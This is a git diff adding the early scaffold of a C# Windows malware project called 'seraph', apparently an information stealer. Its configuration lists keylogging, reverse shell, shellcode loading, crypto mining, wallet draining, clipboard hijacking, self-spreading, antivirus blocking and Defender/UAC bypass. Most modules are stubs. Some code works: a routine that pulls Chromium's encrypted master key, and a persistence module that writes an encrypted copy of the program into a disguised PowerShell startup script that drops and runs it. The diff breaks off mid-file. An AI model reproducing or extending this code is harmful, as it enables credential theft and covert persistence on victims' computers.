diff --git a/.idea/.idea.seraph/.idea/.gitignore b/.idea/.idea.seraph/.idea/.gitignore
new file mode 100644
index 0000000..37037e9
--- /dev/null
+++ b/.idea/.idea.seraph/.idea/.gitignore
@@ -0,0 +1,13 @@
+# Default ignored files
+/shelf/
+/workspace.xml
+# Rider ignored files
+/modules.xml
+/projectSettingsUpdater.xml
+/contentModel.xml
+/.idea.seraph.iml
+# Editor-based HTTP Client requests
+/httpRequests/
+# Datasource local storage ignored files
+/dataSources/
+/dataSources.local.xml
diff --git a/.idea/.idea.seraph/.idea/discord.xml b/.idea/.idea.seraph/.idea/discord.xml
new file mode 100644
index 0000000..d8e9561
--- /dev/null
+++ b/.idea/.idea.seraph/.idea/discord.xml
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/.idea.seraph/.idea/indexLayout.xml b/.idea/.idea.seraph/.idea/indexLayout.xml
new file mode 100644
index 0000000..7b08163
--- /dev/null
+++ b/.idea/.idea.seraph/.idea/indexLayout.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/seraph.sln b/seraph.sln
new file mode 100644
index 0000000..55c186f
--- /dev/null
+++ b/seraph.sln
@@ -0,0 +1,16 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "seraph", "seraph\seraph.csproj", "{7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+EndGlobal
diff --git a/seraph/Configuration.cs b/seraph/Configuration.cs
new file mode 100644
index 0000000..04fe2a6
--- /dev/null
+++ b/seraph/Configuration.cs
@@ -0,0 +1,75 @@
+namespace seraph;
+
+public static class Configuration
+{
+ public static string SocketServer = "127.0.0.1:8883"; // socket server, using ECDH-Curve25519 for encryption & verification
+ public static bool MeltStub = false;
+ public static bool FakeError = false;
+ public static string ErrorMessage = "The code execution cannot proceed because api-ms-win-core-timezone-l1-1-0.dll was not found. Reinstalling the application may fix this problem.";
+ public static bool AntiKill = false;
+ public static bool AntiKillBSoD = false;
+ public static bool AntiVM = false;
+ public static bool AntiAnalysis = false;
+ public static bool AntiDebug = false;
+ public static bool Startup = true;
+ public static string StartupMode = "taskschd"; // regkey, taskschd or folder
+ public static bool WebcamSnapshot = false;
+ public static bool Screenshot = false;
+ public static bool MoneroCryptoMiner = false;
+ public static bool LitecoinCryptoMiner = false;
+ public static bool BitcoinCryptoMiner = false;
+ public static int MoneroMinerUsage = 25;
+ public static int LitecoinMinerUsage = 25;
+ public static int BitcoinMinerUsage = 25;
+ public static string MoneroMinerWallet = "";
+ public static string LitecoinMinerWallet = "";
+ public static string BitcoinMinerWallet = "";
+ public static bool NetworkSpread = false;
+ public static bool USBInfect = false;
+ public static bool SystemInfect = false;
+ public static bool BrowserInjection = false;
+ public static bool MailInjection = false;
+ public static bool VPNInjection = false;
+ public static bool WalletInjection = false;
+ public static bool MessengerInjection = false;
+ public static bool BlockWebsites = false; // blocks websites off the local machine from being accessed
+ public static List WebsitesList = new List { "virustotal.com", "avast.com", "totalav.com", "scanguard.com", "totaladblock.com", "pcprotect.com", "mcafee.com", "bitdefender.com", "us.norton.com", "avg.com", "malwarebytes.com", "pandasecurity.com", "avira.com", "norton.com", "eset.com", "zillya.com", "kaspersky.com", "usa.kaspersky.com", "sophos.com", "home.sophos.com", "adaware.com", "bullguard.com", "clamav.net", "drweb.com", "emsisoft.com", "f-secure.com", "zonealarm.com", "trendmicro.com", "ccleaner.com" };
+ public static bool PornDetection = false; // detects if porn/hentai is viewed and runs webcam snapshot automatically if so
+ public static bool Keylogger = false;
+ public static bool ReverseShell = false;
+ public static bool ShellcodeLoader = false;
+ public static byte[] Shellcode = new byte[] { 0x81, 0x92 }; // use donut to gen PIC shellc
+ public static bool BrowserData = false;
+ public static bool WalletData = false;
+ public static bool WalletDrainer = false;
+ public static string WalletDrainerMoneroAddress = "";
+ public static string WalletDrainerLitecoinAddress = "";
+ public static string WalletDrainerBitcoinAddress = "";
+ public static string WalletDrainerEthereumAddress = "";
+ public static string WalletDrainerTetherAddress = "";
+ public static bool CryptoClipper = false;
+ public static string CryptoClipperMoneroAddress = "";
+ public static string CryptoClipperLitecoinAddress = "";
+ public static string CryptoClipperBitcoinAddress = "";
+ public static string CryptoClipperEthereumAddress = "";
+ public static string CryptoClipperTetherAddress = "";
+ public static bool NetworkData = false;
+ public static bool MessengerData = false;
+ public static bool MailData = false;
+ public static bool SystemData = false;
+ public static bool ImportantFiles = false;
+ public static List ImportantFilesExtensions = new List { "db", "kdbx", "sql", "sqlite", "pgp", "xml", "enc", "p12", "pfx", "vault", "json", "c", "h", "txt", "sqlite3", "pem", "asc", "cert", "ovpn", "ca", "sig", "adp" };
+ public static bool CommonFiles = false;
+ public static List CommonFilesExtensions = new List { "ini", "png", "jpg", "txt", "mp4", "mov", "webp", "7z", "zip", "dll", "jar", "java", "c", "h", "hpp", "cpp", "java", "d", "cs", "js", "ts", "py", "json", "lib", "gif", "wav", "bat", "cmd", "mp3", "jpeg", "nim", "html", "php", "css", "pyc", "pyd", "sln", "kts", "rs", "lisp", "zig", "exs", "md", "kt" };
+ public static bool GameData = false;
+ public static bool AMSIBypass = false;
+ public static bool DefenderExlusion = false;
+ public static List ExcludedFilePaths = new List { "" };
+ public static List ExcludedFolderPaths = new List { "" };
+ public static bool DestroyDefender = false;
+ public static bool DisableDefender = false;
+ public static bool DisableETW = false;
+ public static bool DisableREAgentC = false;
+ public static bool UACBypass = false;
+ public static bool RemoteControl = false;
+}
\ No newline at end of file
diff --git a/seraph/Program.cs b/seraph/Program.cs
new file mode 100644
index 0000000..8812c5f
--- /dev/null
+++ b/seraph/Program.cs
@@ -0,0 +1,37 @@
+using seraph;
+using seraph.Seraph.AntiDebug;
+using seraph.Seraph.Components;
+using seraph.Seraph.Infect;
+using seraph.Seraph.Remote;
+
+internal class Seraph
+{
+ private static void Main(string[] args)
+ {
+ var services = new List
+ {
+ new Seraphian(),
+ new Remote(),
+ new Infect()
+ };
+
+ var antiDebug = new AntiDebug();
+ antiDebug.RunChecks();
+
+ var threads = new List();
+
+ foreach (var service in services)
+ {
+ var createThread = new Thread(() => { service.Initialize(); service.Execute(); });
+ threads.Add(createThread);
+ createThread.Start();
+ }
+
+ foreach (var thread in threads)
+ {
+ thread.Join();
+ }
+
+ threads.Clear();
+ }
+}
\ No newline at end of file
diff --git a/seraph/README.md b/seraph/README.md
new file mode 100644
index 0000000..e69de29
diff --git a/seraph/Seraph.AntiDebug/AntiAnalysis.cs b/seraph/Seraph.AntiDebug/AntiAnalysis.cs
new file mode 100644
index 0000000..4cc9cb4
--- /dev/null
+++ b/seraph/Seraph.AntiDebug/AntiAnalysis.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.AntiDebug;
+
+public class AntiAnalysis
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.AntiDebug/AntiDebug.cs b/seraph/Seraph.AntiDebug/AntiDebug.cs
new file mode 100644
index 0000000..433befa
--- /dev/null
+++ b/seraph/Seraph.AntiDebug/AntiDebug.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.AntiDebug;
+
+public class AntiDebug
+{
+ public void RunChecks()
+ {
+ Console.WriteLine("Anti Debug Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.AntiDebug/AntiKill.cs b/seraph/Seraph.AntiDebug/AntiKill.cs
new file mode 100644
index 0000000..cc0fda9
--- /dev/null
+++ b/seraph/Seraph.AntiDebug/AntiKill.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.AntiDebug;
+
+public class AntiKill
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.AntiDebug/AntiVM.cs b/seraph/Seraph.AntiDebug/AntiVM.cs
new file mode 100644
index 0000000..db04ecd
--- /dev/null
+++ b/seraph/Seraph.AntiDebug/AntiVM.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.AntiDebug;
+
+public class AntiVM
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/BlockWebsites.cs b/seraph/Seraph.Components/BlockWebsites.cs
new file mode 100644
index 0000000..3b76e82
--- /dev/null
+++ b/seraph/Seraph.Components/BlockWebsites.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components;
+
+public class BlockWebsites : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("BlockWebsites Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Browser/Browser.cs b/seraph/Seraph.Components/Exfiltration/Browser/Browser.cs
new file mode 100644
index 0000000..3d9c4af
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Browser/Browser.cs
@@ -0,0 +1,37 @@
+namespace seraph.Seraph.Components.Exfiltration.Browser;
+
+public class Browser : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ if (!Configuration.BrowserData)
+ {
+ return;
+ }
+
+ Console.WriteLine("Browser Exfiltration Running.");
+
+ var threads = new List();
+
+ foreach (var browserPath in Chromium.BrowserPaths)
+ {
+ var path = Path.Combine(Utility.Utils.lAppdata, browserPath, "User Data");
+
+ if (!Directory.Exists(path))
+ {
+ return;
+ }
+
+ var createThread = new Thread(() => { Chromium.BrowserEntry(path); });
+ threads.Add(createThread);
+ createThread.Start();
+ }
+
+ foreach (var thread in threads)
+ {
+ thread.Join();
+ }
+
+ threads.Clear();
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Browser/Chromium.cs b/seraph/Seraph.Components/Exfiltration/Browser/Chromium.cs
new file mode 100644
index 0000000..f3a98d1
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Browser/Chromium.cs
@@ -0,0 +1,35 @@
+using System.Text.Json;
+
+namespace seraph.Seraph.Components.Exfiltration.Browser;
+
+public class Chromium
+{
+ public static List BrowserPaths = new List { "Iridium", "Microsoft\\Edge", "Thorium", "Google\\Chrome", "BraveSoftware\\Brave-Browser", "Vivaldi", "Epic Privacy Browser", "Torch", "Amigo", "Kometa", "Orbitum", "CentBrowser", "7Star\\7Star", "Sputnik\\Sputnik", "uCozMedia\\Uran", "Yandex\\YandexBrowser" };
+ public static List BrowserProfiles = new List { "Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5" };
+
+ public static void BrowserEntry(string fullPath)
+ {
+ var localStateFile = Path.Combine(fullPath, "Local State");
+
+ if (!File.Exists(localStateFile))
+ {
+ return;
+ }
+
+ var key = GetKey.Decrypt(localStateFile);
+
+ Console.WriteLine(key);
+
+ foreach (var profile in Chromium.BrowserProfiles)
+ {
+ var path = Path.Combine(fullPath, profile);
+
+ if (!Directory.Exists(path))
+ {
+ continue;
+ }
+
+ Console.WriteLine(path);
+ }
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Browser/Decrypt.cs b/seraph/Seraph.Components/Exfiltration/Browser/Decrypt.cs
new file mode 100644
index 0000000..b19f111
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Browser/Decrypt.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Components.Exfiltration.Browser;
+
+public class Decrypt
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Browser/Gecko.cs b/seraph/Seraph.Components/Exfiltration/Browser/Gecko.cs
new file mode 100644
index 0000000..5e112ba
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Browser/Gecko.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Components.Exfiltration.Browser;
+
+public class Gecko
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Browser/GetKey.cs b/seraph/Seraph.Components/Exfiltration/Browser/GetKey.cs
new file mode 100644
index 0000000..bc2d1be
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Browser/GetKey.cs
@@ -0,0 +1,61 @@
+namespace seraph.Seraph.Components.Exfiltration.Browser;
+
+using System.Text.Json;
+
+public class GetKey
+{
+ public static string Decrypt(string path)
+ {
+ var jsonData = string.Empty;
+
+ try
+ {
+ jsonData = File.ReadAllText(path);
+ }
+ catch (IOException ex)
+ {
+ Console.WriteLine($"An error occurred: {ex.Message}");
+ return ex.Message;
+ }
+
+ var encodedKey = string.Empty;
+
+ try
+ {
+ var document = JsonDocument.Parse(jsonData);
+ encodedKey = document.RootElement
+ .GetProperty("os_crypt")
+ .GetProperty("encrypted_key")
+ .GetString();
+
+ Console.WriteLine($"Encoded Key: {encodedKey}");
+ }
+ catch (JsonException ex)
+ {
+ Console.WriteLine($"Error parsing Json Data: {ex.Message}");
+ return ex.Message;
+ }
+ catch (KeyNotFoundException ex)
+ {
+ Console.WriteLine($"Missing expected Json property: {ex.Message}");
+ return ex.Message;
+ }
+
+ string decodedKey = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(encodedKey));
+
+ string encryptedKey = decodedKey.Length > 5 ? decodedKey.Substring(5) : string.Empty;
+
+ Console.WriteLine($"Encrypted Key: {encryptedKey}");
+
+ try
+ {
+ var decryptedKey = Utility.Crypt32Wrapper.Decrypt(System.Text.Encoding.UTF8.GetBytes(encryptedKey));
+ return decryptedKey;
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine($"Error during decryption: {ex.Message}");
+ return ex.Message;
+ }
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Files.cs b/seraph/Seraph.Components/Exfiltration/Files.cs
new file mode 100644
index 0000000..aa148cb
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Files.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components.Exfiltration;
+
+public class Files : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("File Exfiltration Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Game.cs b/seraph/Seraph.Components/Exfiltration/Game.cs
new file mode 100644
index 0000000..da36560
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Game.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components.Exfiltration;
+
+public class Game : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("Game Exfiltration Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Mail.cs b/seraph/Seraph.Components/Exfiltration/Mail.cs
new file mode 100644
index 0000000..024b158
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Mail.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components.Exfiltration;
+
+public class Mail : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("Mail Exfiltration Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Messenger.cs b/seraph/Seraph.Components/Exfiltration/Messenger.cs
new file mode 100644
index 0000000..0275c35
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Messenger.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components.Exfiltration;
+
+public class Messenger : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("Messenger Exfiltration Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Network/Network.cs b/seraph/Seraph.Components/Exfiltration/Network/Network.cs
new file mode 100644
index 0000000..b934977
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Network/Network.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components.Exfiltration.Network;
+
+public class Network : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("Network Exfiltration Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Network/SFTP.cs b/seraph/Seraph.Components/Exfiltration/Network/SFTP.cs
new file mode 100644
index 0000000..a788c3e
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Network/SFTP.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Components.Exfiltration.Network;
+
+public class SFTP
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Network/SSH.cs b/seraph/Seraph.Components/Exfiltration/Network/SSH.cs
new file mode 100644
index 0000000..ce4fa7d
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Network/SSH.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Components.Exfiltration.Network;
+
+public class SSH
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Network/VPN.cs b/seraph/Seraph.Components/Exfiltration/Network/VPN.cs
new file mode 100644
index 0000000..bfb7b4d
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Network/VPN.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Components.Exfiltration.Network;
+
+public class VPN
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Ssystem.cs b/seraph/Seraph.Components/Exfiltration/Ssystem.cs
new file mode 100644
index 0000000..4dd8f39
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Ssystem.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components.Exfiltration;
+
+public class Ssystem : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("System Exfiltration Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Wallet/Clipper.cs b/seraph/Seraph.Components/Exfiltration/Wallet/Clipper.cs
new file mode 100644
index 0000000..c96603d
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Wallet/Clipper.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components.Exfiltration.Wallet;
+
+public class Clipper : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("Crypto Clipper Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Wallet/Drainer.cs b/seraph/Seraph.Components/Exfiltration/Wallet/Drainer.cs
new file mode 100644
index 0000000..bb80f80
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Wallet/Drainer.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components.Exfiltration.Wallet;
+
+public class Drainer : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("Crypto Drainer Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Wallet/Miner.cs b/seraph/Seraph.Components/Exfiltration/Wallet/Miner.cs
new file mode 100644
index 0000000..9b14afb
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Wallet/Miner.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components.Exfiltration.Wallet;
+
+public class Miner : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("Crypto Miner Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Exfiltration/Wallet/Wallet.cs b/seraph/Seraph.Components/Exfiltration/Wallet/Wallet.cs
new file mode 100644
index 0000000..6936ae5
--- /dev/null
+++ b/seraph/Seraph.Components/Exfiltration/Wallet/Wallet.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components.Exfiltration.Wallet;
+
+public class Wallet : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("Wallet Exfiltration Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/NetworkSpread.cs b/seraph/Seraph.Components/NetworkSpread.cs
new file mode 100644
index 0000000..6451837
--- /dev/null
+++ b/seraph/Seraph.Components/NetworkSpread.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components;
+
+public class NetworkSpread : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("NetworkSpread Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Persistence.cs b/seraph/Seraph.Components/Persistence.cs
new file mode 100644
index 0000000..f07067f
--- /dev/null
+++ b/seraph/Seraph.Components/Persistence.cs
@@ -0,0 +1,108 @@
+using seraph.Seraph.Utility;
+
+namespace seraph.Seraph.Components;
+
+using System.Reflection;
+using System.Security.Cryptography;
+
+public class Persistence : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ if (!Configuration.Startup)
+ {
+ return;
+ }
+
+ Console.WriteLine("Persistence Running.");
+
+ string path = Path.Join(Utils.lAppdata, "Microsoft", "Windows", "PowerShell");
+ if (!Directory.Exists(path))
+ {
+ Directory.CreateDirectory(path);
+ }
+
+ string assemblyPath = Assembly.GetExecutingAssembly().Location;
+
+ byte[] fileBytes = File.ReadAllBytes(assemblyPath);
+
+ (string iv, string key, string encrypted) = EncryptString(fileBytes);
+
+ // Console.WriteLine(encrypted);
+
+ string startupFile = Path.Join(Utils.lAppdata, "Microsoft", "Windows", "PowerShell",
+ "StartupProfileAnalytics2.ps1");
+
+ string startupScript = @$"
+$base64Iv = ""{iv}""
+$base64Key = ""{key}""
+$base64EncryptedData = ""{encrypted}""
+
+$iv = [System.Convert]::FromBase64String($base64Iv)
+$key = [System.Convert]::FromBase64String($base64Key)
+$encryptedData = [System.Convert]::FromBase64String($base64EncryptedData)
+
+$aes = [System.Security.Cryptography.Aes]::Create()
+$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
+$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
+$aes.Key = $key
+$aes.IV = $iv
+
+$decryptor = $aes.CreateDecryptor()
+$decryptedBytes = $decryptor.TransformFinalBlock($encryptedData, 0, $encryptedData.Length)
+
+$memoryStream = New-Object System.IO.MemoryStream
+$memoryStream.Write($decryptedBytes, 0, $decryptedBytes.Length)
+$memoryStream.Position = 0
+
+$binaryData = $memoryStream.ToArray()
+$memoryStream.Close()
+
+$binaryPath = [System.IO.Path]::GetTempFileName() + "".exe""
+
+[System.IO.File]::WriteAllBytes($binaryPath, $binaryData)
+
+Start-Process $binaryPath -NoNewWindow -Wait
+
+Remove-Item $binaryPath";
+
+ if (!File.Exists(startupFile))
+ {
+ File.WriteAllText(startupFile, startupScript);
+ }
+
+ // powershell -ExecutionPolicy Bypass -File "C:\Users\gum\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileAnalytics.ps1"
+
+ if (Utils.ShellExecute("schtasks /query /tn \"Seraph") == "")
+ {
+ if (Utils.IsRunningAsAdmin())
+ {
+
+ }
+ }
+ }
+
+ static (string iv, string key, string encrypted) EncryptString(byte[] dataToEncrypt)
+ {
+ if (dataToEncrypt == null || dataToEncrypt.Length == 0)
+ throw new ArgumentNullException(nameof(dataToEncrypt));
+
+ using (Aes aes = Aes.Create())
+ {
+ aes.GenerateKey();
+ aes.GenerateIV();
+
+ ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
+
+ using (MemoryStream ms = new MemoryStream())
+ using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write))
+ {
+ cs.Write(dataToEncrypt, 0, dataToEncrypt.Length);
+ cs.FlushFinalBlock();
+
+ string encryptedData = Convert.ToBase64String(ms.ToArray());
+ return (Convert.ToBase64String(aes.IV), Convert.ToBase64String(aes.Key), encryptedData);
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/PornDetection.cs b/seraph/Seraph.Components/PornDetection.cs
new file mode 100644
index 0000000..f3f64f7
--- /dev/null
+++ b/seraph/Seraph.Components/PornDetection.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components;
+
+public class PornDetection : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("PornDetection Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/PrivilegeEscalation/AMSIBypass.cs b/seraph/Seraph.Components/PrivilegeEscalation/AMSIBypass.cs
new file mode 100644
index 0000000..17ac7e1
--- /dev/null
+++ b/seraph/Seraph.Components/PrivilegeEscalation/AMSIBypass.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Components.PrivilegeEscalation;
+
+public class AMSIBypass
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/PrivilegeEscalation/DefenderExclusion.cs b/seraph/Seraph.Components/PrivilegeEscalation/DefenderExclusion.cs
new file mode 100644
index 0000000..a229477
--- /dev/null
+++ b/seraph/Seraph.Components/PrivilegeEscalation/DefenderExclusion.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Components.PrivilegeEscalation;
+
+public class DefenderExclusion
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/PrivilegeEscalation/DestroyDefender.cs b/seraph/Seraph.Components/PrivilegeEscalation/DestroyDefender.cs
new file mode 100644
index 0000000..bcee3ed
--- /dev/null
+++ b/seraph/Seraph.Components/PrivilegeEscalation/DestroyDefender.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Components.PrivilegeEscalation;
+
+public class DestroyDefender
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/PrivilegeEscalation/DisableDefender.cs b/seraph/Seraph.Components/PrivilegeEscalation/DisableDefender.cs
new file mode 100644
index 0000000..ca26332
--- /dev/null
+++ b/seraph/Seraph.Components/PrivilegeEscalation/DisableDefender.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Components.PrivilegeEscalation;
+
+public class DisableDefender
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/PrivilegeEscalation/DisableETW.cs b/seraph/Seraph.Components/PrivilegeEscalation/DisableETW.cs
new file mode 100644
index 0000000..601a12b
--- /dev/null
+++ b/seraph/Seraph.Components/PrivilegeEscalation/DisableETW.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Components.PrivilegeEscalation;
+
+public class DisableETW
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/PrivilegeEscalation/DisableREAgentC.cs b/seraph/Seraph.Components/PrivilegeEscalation/DisableREAgentC.cs
new file mode 100644
index 0000000..92d57d0
--- /dev/null
+++ b/seraph/Seraph.Components/PrivilegeEscalation/DisableREAgentC.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Components.PrivilegeEscalation;
+
+public class DisableREAgentC
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/PrivilegeEscalation/PrivEsc.cs b/seraph/Seraph.Components/PrivilegeEscalation/PrivEsc.cs
new file mode 100644
index 0000000..d53bb4c
--- /dev/null
+++ b/seraph/Seraph.Components/PrivilegeEscalation/PrivEsc.cs
@@ -0,0 +1,9 @@
+namespace seraph.Seraph.Components.PrivilegeEscalation;
+
+public class PrivEsc : Seraphian.Seraphh
+{
+ public override void Run()
+ {
+ Console.WriteLine("Privilege Escalation Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/PrivilegeEscalation/UACBypass.cs b/seraph/Seraph.Components/PrivilegeEscalation/UACBypass.cs
new file mode 100644
index 0000000..5a222e1
--- /dev/null
+++ b/seraph/Seraph.Components/PrivilegeEscalation/UACBypass.cs
@@ -0,0 +1,6 @@
+namespace seraph.Seraph.Components.PrivilegeEscalation;
+
+public class UACBypass
+{
+
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Sender.cs b/seraph/Seraph.Components/Sender.cs
new file mode 100644
index 0000000..22299a7
--- /dev/null
+++ b/seraph/Seraph.Components/Sender.cs
@@ -0,0 +1,14 @@
+namespace seraph.Seraph.Components;
+
+public class Sender : Service
+{
+ public override void Initialize()
+ {
+ Console.WriteLine("Sender Initialized.");
+ }
+
+ public override void Execute()
+ {
+ Console.WriteLine("Sender Running.");
+ }
+}
\ No newline at end of file
diff --git a/seraph/Seraph.Components/Seraphian.cs b/seraph/Seraph.Components/Seraphian.cs
new file mode 100644
index 0000000..82c6196
--- /dev/null
+++ b/seraph/Seraph.Components/Seraphian.cs
@@ -0,0 +1,63 @@
+using seraph.Seraph.Components.Exfiltration;
+using seraph.Seraph.Components.Exfiltration.Browser;
+using seraph.Seraph.Components.Exfiltration.Network;
+using seraph.Seraph.Components.Exfiltration.Wallet;
+using seraph.Seraph.Components.PrivilegeEscalation;
+
+namespace seraph.Seraph.Components;
+
+public class Seraphian : Service
+{
+ public override void Initialize()
+ {
+ Console.WriteLine("Stealer Initialized.");
+ }
+
+ public override void Execute()
+ {
+ Console.WriteLine("Stealer Running.");
+
+ var services = new List()
+ {
+ new PornDetection(),
+ new Persistence(),
+ new Snapshot(),
+ new ShellcodeLoader(),
+ new NetworkSpread(),
+ new BlockWebsites(),
+ new PrivEsc(),
+ new Files(),
+ new Game(),
+ new Mail(),
+ new Messenger(),
+ new Ssystem(),
+ new Wallet(),
+ new Miner(),
+ new Drainer(),
+ new Clipper(),
+ new Network(),
+ new Browser()
+ };
+
+ var threads = new List();
+
+ foreach (var service in services)
+ {
+ var createThread = new Thread(() => { service.Run(); });
+ threads.Add(createThread);
+ createThread.Start();
